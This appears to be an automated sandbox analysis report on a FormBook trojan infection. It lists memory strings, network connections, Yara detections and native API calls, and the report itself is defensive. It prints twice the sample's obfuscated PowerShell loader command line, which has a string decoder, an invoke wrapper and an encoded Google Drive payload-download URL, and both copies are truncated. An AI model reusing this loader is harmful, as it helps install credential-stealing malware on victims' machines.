Source: powershell.exe, 00000002.00000002.2333966169.000002B347A73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1919062447.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.2177170811.000002B339C19000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000C.00000003.1893294150.0000000008A26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ssl.gstatic.com
Source: powershell.exe, 00000002.00000002.2177170811.000002B339BF3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B337F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B339C15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B339C19000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000C.00000003.1893294150.0000000008A26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google-analytics.com;report-uri
Source: powershell.exe, 00000002.00000002.2177170811.000002B337F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B339C15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B339C19000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000C.00000003.1893294150.0000000008A26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000002.00000002.2177170811.000002B339BF3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B337F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B339C15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B339C19000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000C.00000003.1893294150.0000000008A26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.googletagmanager.com
Source: powershell.exe, 00000002.00000002.2177170811.000002B339BF3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B337F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B339C15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B339C19000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000C.00000003.1893294150.0000000008A26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown HTTPS traffic detected: 142.250.101.100:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.251.2.132:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.101.100:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.251.2.132:443 -> 192.168.2.9:49713 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.251.2.132:443 -> 192.168.2.9:49713 version: TLS 1.2

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 00000012.00000002.2595491228.0000000002250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2595044684.00000000029A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2595118145.00000000029E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2595680421.00000000055C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2593836346.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2249433724.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: amsi64_7500.amsi.csv, type: OTHER Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi32_7728.amsi.csv, type: OTHER Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 00000012.00000002.2595491228.0000000002250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000011.00000002.2595044684.00000000029A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000011.00000002.2595118145.00000000029E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.2595680421.00000000055C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000011.00000002.2593836346.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.2249433724.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7500, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 7163
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: Commandline size = 7163
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 7163 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: Commandline size = 7163 Jump to behavior
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Demonland = 1;$Predecreeing='Substrin';$Predecreeing+='g';Function Herremaend($Sursdt){$monuronsnteranimate=$Sursdt.Length-$Demonland;For($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$Alaskans+=$Sursdt.$Predecreeing.Invoke($monurons, $Demonland);}$Alaskans;}function Surere($Adipometer){. ($Disaffirmative) ($Adipometer);}$Monostichic=Herremaend 'AristMDe.imo SjakzSaks.ikortslSportlOmplaarelai/Hiero5Addit..plgk0T,aum An.ta(ProduWEqui.iGeniznIldebdPa.rao SnitwPickesAlleg ,ersoNI,fanTUdpos drown1Wighe0Abbes.Unser0Snoni;Pri o UtakWAfgifi efugnSkal,6Casto4Benin;R.stb FresxTurbu6Homog4 Radb;Round FurcrrVebogv Matr:Famil1 Aste2 Irre1Hvede. Fa,u0Un,er)Gummi unmutG U.dveT lesc ArabkAdvo,o A.ti/Retor2Bi,le0Taale1Folke0Overs0Mede 1Calch0Parti1H.and FlintFPardoiNondirNonvae EstufD,teno Hus.x Pers/Murbr1Filbe2 lapu1b.udo. Un.e0Straf ';$Apyonin182=Herremaend 'EksprUPapirs,ingeeSucrerSpeci-sk.ttASamvigRevaleAfkvinU armt.ofag ';$Halloffire=Herremaend 'Planoh FedetSponttKo,sip SidesNon,r:Speda/Efter/Friskd Kar,rFacadiQv.nsvSlidbeAl,at.BifalgDiloho Socio ,enogSp.cilUndereGlo i. ,nnac reto AfstmGrept/ PadauOv rgcForsk?dyrebeFascixLuftrp ,isco banfr F idtHuffi=Chattd inusoTelefw NattnAftallTranco.anelaArbejd Send&LeggiiUnbludRecla= Dunj1Filmg3 O sts PellIBlokpDEuropg isanKUn oluTrafi2RedskDBuega7Ol,giiP.icaIPosta6 AposzCa,riR ParkxC,mpoA ond4Macaag SoupGTr,jeYtingsS DecoaIniqusVoitu5Ar,aniAl.rm0,asufm Ulovh eriAAdoptTUdfreB icca ';$Startngles=Herremaend 'Redak>Paraf ';$Disaffirmative=Herremaend 'I ebli Vil,e.npatxAdelo ';$Forfrdiget='Tented';Surere (Herremaend ' UlovSsweepefeerstTandk-AttacCSpillodevionTryk.tSodeneProtenOpsentLaves Dunc - A.prPUnderaSubmytStal,hnondi ProtoTkun.t:H,lvt\ ebusTFircieHusassSpytstVesicuStrogdRecipoSugge. VorttHalvfx FejetAutos Strue-UdsagVkunsta CpmmlUdmatuSadl.e flin Hjemm$,aderFThromoLiv or e aafHulnirStanddsennaiArkitgImmigeGlosetRubbe;He er ');Surere (Herremaend 'AlkyliMuddlfAlb i udpi(antiotAvissePleursKbsvatMiddl-Kronip Tanda VipetDu,tthzygne GrandTLiche:Lusk.\GruppTA skieSpindsKantetBajaduPirridHvedeo Gobl.Stra,tSamarxReg st Ultr)Globa{Poly e eostxHillbi SkubtRaadf} Sual;trise ');$Tidsskriftsudvlgelserne = Herremaend 'Shille,lericRisikhKaldeo Tjen L nje%Ki,keaBr.dop LendpBirthdNo.spaRevalt Tiraasnebo% Do,e\AasteMnyst.eFrankd TsaririskikAnnalaWilmam,rfteeLamb nBe,hptR.ttoeSvveflCri,i.VanddDPro,odTopsagDdska Lserf&halss&Udl,s Telefe ,ilccRkv,khpooftoBugse Malth$S are ';Surere (Herremaend 'Gombe$TilbagSpa.kl Sgepo F,rfbPseu,aSkrd.l P.og:Bi,psFFo tirSl wdi KolitFremtuBrinjr DecieMalminTredi=S,pra(Firsic BystmP umpd unde Te,ot/Pallhc Rapg Conta$.retcT,elamiExu.ad .ibesS.othsUnto kPrejursulteiDelphfTarlet UtilsDiscruBo uldKinesvTilkrl Mes,g Dv,geergonlVrc.ssProtoeSomikrHanden DraweBoxfi)Outte ');Surere (Herremaend 'Anstt$ pibogT,lstl Ch,roParrobEutecaOrkidlKan i:UnsocTDrmmeinucl.r,eproe G
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Demonland = 1;$Predecreeing='Substrin';$Predecreeing+='g';Function Herremaend($Sursdt){$monuronsnteranimate=$Sursdt.Length-$Demonland;For($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$Alaskans+=$Sursdt.$Predecreeing.Invoke($monurons, $Demonland);}$Alaskans;}function Surere($Adipometer){. ($Disaffirmative) ($Adipometer);}$Monostichic=Herremaend 'AristMDe.imo SjakzSaks.ikortslSportlOmplaarelai/Hiero5Addit..plgk0T,aum An.ta(ProduWEqui.iGeniznIldebdPa.rao SnitwPickesAlleg ,ersoNI,fanTUdpos drown1Wighe0Abbes.Unser0Snoni;Pri o UtakWAfgifi efugnSkal,6Casto4Benin;R.stb FresxTurbu6Homog4 Radb;Round FurcrrVebogv Matr:Famil1 Aste2 Irre1Hvede. Fa,u0Un,er)Gummi unmutG U.dveT lesc ArabkAdvo,o A.ti/Retor2Bi,le0Taale1Folke0Overs0Mede 1Calch0Parti1H.and FlintFPardoiNondirNonvae EstufD,teno Hus.x Pers/Murbr1Filbe2 lapu1b.udo. Un.e0Straf ';$Apyonin182=Herremaend 'EksprUPapirs,ingeeSucrerSpeci-sk.ttASamvigRevaleAfkvinU armt.ofag ';$Halloffire=Herremaend 'Planoh FedetSponttKo,sip SidesNon,r:Speda/Efter/Friskd Kar,rFacadiQv.nsvSlidbeAl,at.BifalgDiloho Socio ,enogSp.cilUndereGlo i. ,nnac reto AfstmGrept/ PadauOv rgcForsk?dyrebeFascixLuftrp ,isco banfr F idtHuffi=Chattd inusoTelefw NattnAftallTranco.anelaArbejd Send&LeggiiUnbludRecla= Dunj1Filmg3 O sts PellIBlokpDEuropg isanKUn oluTrafi2RedskDBuega7Ol,giiP.icaIPosta6 AposzCa,riR ParkxC,mpoA ond4Macaag SoupGTr,jeYtingsS DecoaIniqusVoitu5Ar,aniAl.rm0,asufm Ulovh eriAAdoptTUdfreB icca ';$Startngles=Herremaend 'Redak>Paraf ';$Disaffirmative=Herremaend 'I ebli Vil,e.npatxAdelo ';$Forfrdiget='Tented';Surere (Herremaend ' UlovSsweepefeerstTandk-AttacCSpillodevionTryk.tSodeneProtenOpsentLaves Dunc - A.prPUnderaSubmytStal,hnondi ProtoTkun.t:H,lvt\ ebusTFircieHusassSpytstVesicuStrogdRecipoSugge. VorttHalvfx FejetAutos Strue-UdsagVkunsta CpmmlUdmatuSadl.e flin Hjemm$,aderFThromoLiv or e aafHulnirStanddsennaiArkitgImmigeGlosetRubbe;He er ');Surere (Herremaend 'AlkyliMuddlfAlb i udpi(antiotAvissePleursKbsvatMiddl-Kronip Tanda VipetDu,tthzygne GrandTLiche:Lusk.\GruppTA skieSpindsKantetBajaduPirridHvedeo Gobl.Stra,tSamarxReg st Ultr)Globa{Poly e eostxHillbi SkubtRaadf} Sual;trise ');$Tidsskriftsudvlgelserne = Herremaend 'Shille,lericRisikhKaldeo Tjen L nje%Ki,keaBr.dop LendpBirthdNo.spaRevalt Tiraasnebo% Do,e\AasteMnyst.eFrankd TsaririskikAnnalaWilmam,rfteeLamb nBe,hptR.ttoeSvveflCri,i.VanddDPro,odTopsagDdska Lserf&halss&Udl,s Telefe ,ilccRkv,khpooftoBugse Malth$S are ';Surere (Herremaend 'Gombe$TilbagSpa.kl Sgepo F,rfbPseu,aSkrd.l P.og:Bi,psFFo tirSl wdi KolitFremtuBrinjr DecieMalminTredi=S,pra(Firsic BystmP umpd unde Te,ot/Pallhc Rapg Conta$.retcT,elamiExu.ad .ibesS.othsUnto kPrejursulteiDelphfTarlet UtilsDiscruBo uldKinesvTilkrl Mes,g Dv,geergonlVrc.ssProtoeSomikrHanden DraweBoxfi)Outte ');Surere (Herremaend 'Anstt$ pibogT,lstl Ch,roParrobEutecaOrkidlKan i:UnsocTDrmmeinucl.r,eproe G Jump to behavior
Contains functionality to call native functions
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247035C0 NtCreateMutant,LdrInitializeThunk, 12_2_247035C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702C70 NtFreeVirtualMemory,LdrInitializeThunk, 12_2_24702C70
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702DF0 NtQuerySystemInformation,LdrInitializeThunk, 12_2_24702DF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24704650 NtSuspendThread, 12_2_24704650
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24703010 NtOpenDirectoryObject, 12_2_24703010
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24703090 NtSetValueKey, 12_2_24703090
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24704340 NtSetContextThread, 12_2_24704340
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702C60 NtCreateKey, 12_2_24702C60
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702C00 NtQueryInformationProcess, 12_2_24702C00
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702CF0 NtOpenProcess, 12_2_24702CF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702CC0 NtQueryVirtualMemory, 12_2_24702CC0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702CA0 NtQueryInformationToken, 12_2_24702CA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24703D70 NtOpenThread, 12_2_24703D70
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702D30 NtUnmapViewOfSection, 12_2_24702D30
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24703D10 NtOpenProcessToken, 12_2_24703D10
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702D10 NtMapViewOfSection, 12_2_24702D10
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702D00 NtSetInformationFile, 12_2_24702D00
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702DD0 NtDelayExecution, 12_2_24702DD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702DB0 NtEnumerateKey, 12_2_24702DB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702E30 NtWriteVirtualMemory, 12_2_24702E30
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702EE0 NtQueueApcThread, 12_2_24702EE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702EA0 NtAdjustPrivilegesToken, 12_2_24702EA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702E80 NtReadVirtualMemory, 12_2_24702E80
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702F60 NtCreateProcessEx, 12_2_24702F60
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702F30 NtCreateSection, 12_2_24702F30
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702FE0 NtCreateFile, 12_2_24702FE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702FB0 NtResumeThread, 12_2_24702FB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702FA0 NtQuerySection, 12_2_24702FA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702F90 NtProtectVirtualMemory, 12_2_24702F90
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247039B0 NtGetContextThread, 12_2_247039B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702AF0 NtWriteFile, 12_2_24702AF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702AD0 NtReadFile, 12_2_24702AD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702AB0 NtWaitForSingleObject, 12_2_24702AB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702B60 NtClose, 12_2_24702B60
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702BF0 NtAllocateVirtualMemory, 12_2_24702BF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702BE0 NtQueryValueKey, 12_2_24702BE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702BA0 NtEnumerateValueKey, 12_2_24702BA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702B80 NtQueryInformationFile, 12_2_24702B80
Detected potential crypto function
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FF886E4DC82 2_2_00007FF886E4DC82
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FF886E4CED6 2_2_00007FF886E4CED6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_084E1010 5_2_084E1010
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_084E0CC8 5_2_084E0CC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_084E18E0 5_2_084E18E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C1460 12_2_246C1460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24782446 12_2_24782446
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478F43F 12_2_2478F43F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477E4F6 12_2_2477E4F6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24787571 12_2_24787571
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0535 12_2_246D0535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476D5B0 12_2_2476D5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24790591 12_2_24790591
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EC6E0 12_2_246EC6E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247816CC 12_2_247816CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0770 12_2_246D0770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F4750 12_2_246F4750
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CC7C0 12_2_246CC7C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478F7B0 12_2_2478F7B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247870E9 12_2_247870E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478F0E0 12_2_2478F0E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477F0CC 12_2_2477F0CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2479B16B 12_2_2479B16B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2470516C 12_2_2470516C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C0100 12_2_246C0100
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476A118 12_2_2476A118
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247881CC 12_2_247881CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247901AA 12_2_247901AA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DB1B0 12_2_246DB1B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770274 12_2_24770274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247712ED 12_2_247712ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EB2C0 12_2_246EB2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D52A0 12_2_246D52A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BD34C 12_2_246BD34C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478A352 12_2_2478A352
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478132D 12_2_2478132D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DE3F0 12_2_246DE3F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247903E6 12_2_247903E6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2471739A 12_2_2471739A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24749C32 12_2_24749C32
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0C00 12_2_246D0C00
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478FCF2 12_2_2478FCF2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C0CF2 12_2_246C0CF2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770CB5 12_2_24770CB5
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24787D73 12_2_24787D73
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24781D5A 12_2_24781D5A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D3D40 12_2_246D3D40
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DAD00 12_2_246DAD00
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CADE0 12_2_246CADE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EFDC0 12_2_246EFDC0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E8DBF 12_2_246E8DBF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0E59 12_2_246D0E59
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478EE26 12_2_2478EE26
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478EEDB 12_2_2478EEDB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D9EB0 12_2_246D9EB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478CE93 12_2_2478CE93
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E2E90 12_2_246E2E90
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24744F40 12_2_24744F40
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F0F30 12_2_246F0F30
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478FF09 12_2_2478FF09
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DCFE0 12_2_246DCFE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C2FC8 12_2_246C2FC8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478FFB1 12_2_2478FFB1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1F92 12_2_246D1F92
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D2840 12_2_246D2840
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DA840 12_2_246DA840
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D38E0 12_2_246D38E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FE8F0 12_2_246FE8F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B68B8 12_2_246B68B8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E6962 12_2_246E6962
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D9950 12_2_246D9950
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EB950 12_2_246EB950
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D29A0 12_2_246D29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2479A9A6 12_2_2479A9A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24743A6C 12_2_24743A6C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478FA49 12_2_2478FA49
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24787A46 12_2_24787A46
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477DAC6 12_2_2477DAC6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24715AA0 12_2_24715AA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476DAAC 12_2_2476DAAC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CEA80 12_2_246CEA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478FB76 12_2_2478FB76
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478AB40 12_2_2478AB40
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2470DBF9 12_2_2470DBF9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24786BD7 12_2_24786BD7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EFB80 12_2_246EFB80
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058BA4D9 16_2_058BA4D9
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058BA4E0 16_2_058BA4E0
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058B8780 16_2_058B8780
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058BA700 16_2_058BA700
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058C0E1A 16_2_058C0E1A
